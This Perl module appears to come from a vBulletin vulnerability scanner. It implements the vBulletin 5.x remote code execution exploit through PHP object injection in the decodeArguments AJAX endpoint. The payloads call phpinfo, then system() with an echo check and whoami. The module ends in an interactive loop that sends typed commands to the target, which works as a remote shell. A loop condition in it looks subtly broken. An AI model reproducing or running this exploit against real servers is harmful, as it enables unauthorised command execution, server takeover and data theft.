#start Vbulletin 5.x - Remote Code Execution Exploit
dprint("Checking Vbulletin 5.x - Remote Code Execution Exploit");
$response=$ua->get($target . '/ajax/api/hook/decodeArguments?arguments=O%3A12%3A"vB_dB_Result"%3A2%3A%7Bs%3A5%3A"%00%2A%00db"%3BO%3A11%3A"vB_Database"%3A1%3A%7Bs%3A9%3A"functions"%3Ba%3A1%3A%7Bs%3A11%3A"free_result"%3Bs%3A7%3A"phpinfo"%3B%7D%7Ds%3A12%3A"%00%2A%00recordset"%3Bi%3A1%3B%7D');

$source=$response->decoded_content;
if (($source =~ m/phpinfo\(\)/i))
{
	tprint("decodeArguments is vulnerable\nEDB : https://www.exploit-db.com/exploits/38790/ \nphpinfo : ".$target . '/ajax/api/hook/decodeArguments?arguments=O%3A12%3A"vB_dB_Result"%3A2%3A%7Bs%3A5%3A"%00%2A%00db"%3BO%3A11%3A"vB_Database"%3A1%3A%7Bs%3A9%3A"functions"%3Ba%3A1%3A%7Bs%3A11%3A"free_result"%3Bs%3A7%3A"phpinfo"%3B%7D%7Ds%3A12%3A"%00%2A%00recordset"%3Bi%3A1%3B%7D');
	
	$response=$ua->get($target . '/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:20:"echo%20$((0xfee10000))";}');
	 
	$source=$response->decoded_content;
	if (($source =~ m/4276158464/i))
	{
		$response=$ua->get($target . '/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:6:"whoami";}');
		$user=$response->decoded_content;
		chomp($user);
		while($cmd=="exit")
		{
			print "\n\n$user\$ ";
			$cmd=<STDIN>;
			chomp($cmd);
			if($cmd =~ m/exit/i){goto deen;}
			$len=length($cmd);
			$response=$ua->get($target . '/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:'.$len.':"'.$cmd.'";}');
			print "\n".$response->decoded_content;

   		}
	}
}else{fprint("decodeArguments is not vulnerable");}
deen:;
#end Vbulletin 5.x - Remote Code Execution Exploit